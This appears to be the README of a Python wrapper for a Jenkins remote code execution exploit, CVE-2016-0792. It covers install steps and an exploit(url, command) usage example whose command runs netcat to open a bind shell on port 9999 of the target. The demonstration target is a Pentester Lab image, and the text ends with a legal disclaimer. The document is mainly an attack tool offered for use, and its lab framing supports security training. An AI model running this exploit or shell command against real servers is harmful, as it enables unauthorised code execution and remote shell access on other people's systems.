• Wrote the wrapper named "cve-2016-0792" to easily manage the arguments.

https://www.exploit-db.com/exploits/42394/

1. Contrast Security

2. Pentester Lab

1. Python 3.6.x

2. requests library is required for this exploit to work

   sudo pip install requests

python3

from exploit import exploit

exploit(url, command)

Where url is url to jenkins server and command is command to execute

exploit('http://192.168.56.101/jenkins/', '/usr/bin/nc -l -p 9999 -e /bin/sh')

This will run nc and listen on port 9999 on vulnerable machine

For demonstration purposes I will be running ISO from Pentester Lab

Using this software to attack targets without permission is illegal. I am not responsible for any damage caused by using this software against the law.